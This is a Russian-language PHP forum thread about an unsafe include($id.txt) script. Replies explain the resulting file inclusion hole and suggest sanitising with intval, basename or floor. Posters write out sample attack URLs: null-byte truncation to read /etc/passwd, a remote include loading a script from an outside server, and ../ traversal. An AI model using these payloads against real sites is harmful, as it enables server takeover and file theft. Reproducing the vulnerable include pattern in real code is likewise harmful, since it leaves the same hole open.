powered by simpleCommunicator - 2.0.51     © 2025 Programmizd 02
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include
24 сообщений из 24, страница 1 из 1
include
    #32660450
dddd
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
У меня вопрос.
Написал скрипт:


<?php
if ($id=="") {
include ("1.txt");
}
else {
include ("$id.txt");
}
?>


и файл "1.txt" :

aaaaaaaaaaaaaa


Он выдаёт текст:

Notice: Undefined variable: id in X:\home\localhost\www\php\index.php on line 10


Что с этим делать?
...
Рейтинг: 0 / 0
include
    #32660678
Count
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Для начала перевести "Undefined variable"
...
Рейтинг: 0 / 0
include
    #32660836
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
данный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

Функции, которые могут помочь -
http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
include
    #32661748
dddd
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
А как сделать просто чтобы это сообщение не появлялось?
...
Рейтинг: 0 / 0
include
    #32661839
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
то есть дыру на сайте ты закрывать не собираешься ?

PS
> А как сделать просто чтобы это сообщение не появлялось?
одна из функций в моем предыдущем сообщении делает проверку, не генерируя такой Нотайс
...
Рейтинг: 0 / 0
include
    #32662793
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Макс Мданный код, при настройках ПХП по умолчанию, позволит злоумышленику, выполнить любой код ПХП на твоем сервере (то есть получить доступ ко всему, к чему имеет доступ ПХП).

А каким образом?
...
Рейтинг: 0 / 0
include
    #32662816
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
2kVin
nu esli naprimer vyzvat'
http://example/file.php?id=/etc/passwd%00
...
Рейтинг: 0 / 0
include
    #32662853
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
а %00 - это пробел?
...
Рейтинг: 0 / 0
include
    #32662858
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
net vosprimetsya kak simvol okonchaniya stroki, chtoby otbrosit' .txt
...
Рейтинг: 0 / 0
include
    #32662883
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
понятно,
а как в данном случае могут помочь функции

http://php.net/empty
http://php.net/basename или http://php.net/intval (зависит от того каким может быть $id)
http://php.net/readfile
...
Рейтинг: 0 / 0
include
    #32663213
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
И никто не ответит?
...
Рейтинг: 0 / 0
include
    #32663225
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
a che trudno pochitat' chto delaut basename ili intval?
...
Рейтинг: 0 / 0
include
    #32663232
Макс М.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
а может самому немного подумать ?
Почитай что делают эти функции, поэкспериментируй с ними, разберись, почему возникает эта дыра. на самом деле она гораздо опаснее, чем просто вывод /etc/passwd (который на нормально настроеном хостинге вы просто не сделаете).
Основную опасность здесь представляют вызовы скрипта типа:
http://example.com/script.php?id=http://my.server/my_script
...
Рейтинг: 0 / 0
include
    #32663280
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
без вопросов..

спасибо за вышепреведенную информацию.
...
Рейтинг: 0 / 0
include
    #32664142
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?
...
Рейтинг: 0 / 0
include
    #32664249
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
kVin:) я опять с вопросом..

А если присоединяемые файлы хранить в отдельном каталоге.

Код: plaintext
1.
$id=file.txt;
include (folder/.$id);

дыра останется?

../../

eto dlya razmyshlenii
...
Рейтинг: 0 / 0
include
    #32664300
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
:) сенк
...
Рейтинг: 0 / 0
include
    #32664821
*
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
*
Гость
И синтаксис выучить не мешало бы - строки в PHP НУЖНО закавычивать.
...
Рейтинг: 0 / 0
include
    #32664887
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
исправлюсь..
...
Рейтинг: 0 / 0
include
    #32665185
Фотография Аркадий К.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Извините но я всетаки непайму чо за дыра???
...
Рейтинг: 0 / 0
include
    #32665299
kVin
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Прикалывается тип
...
Рейтинг: 0 / 0
include
    #32665552
Фотография Аркадий К.
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
kVinПрикалывается тип Не внатуре нипонил
...
Рейтинг: 0 / 0
include
    #32665775
Alexey Yakovlev
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Гость
Упрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.
...
Рейтинг: 0 / 0
include
    #32666080
sky2k
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Участник
Alexey YakovlevУпрощенное закрытие дыры :

$id = floor($HTTP_GET_VARS['id']);

и ничего кроме числа не пройдет. А вообще хавать параметры из вне нужно осторожно.

Вот пример чтоб невозможно было бы дыркой воспользоваться другим более стремным вариантом.

include("./myfile$id.txt")

И уже чтоб ты ни кинул в id - не проломишься. Варианты ../../ не катят , потому что логически он должн сначала пройти на фолдер вперед - myfile.

А сообщение появлялось потому что скорее всего PHP настроен отдавать внешние переменные только через $HTTP_POST_VARS, $HTTP_GET_VARS.

$id = floor($HTTP_GET_VARS['id']);
pravilnee tak $id = isset($HTTP_GET_VARS['id'])?intval($HTTP_GET_VARS['id']):0;
chtoby warningov nebylo

include("./myfile$id.txt")
ochnis'....
sdelat' $id => "/../test.php%00" budet eqvivalentno include("./test.php")
a dalshe po standartnoi sheme
...
Рейтинг: 0 / 0
24 сообщений из 24, страница 1 из 1
Форумы / PHP, Perl, Python [игнор отключен] [закрыт для гостей] / include
Целевая тема:
Создать новую тему:
Автор:
Закрыть
Цитировать
Найденые пользователи ...
Разблокировать пользователей ...
Читали форум (0):
Пользователи онлайн (0):
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]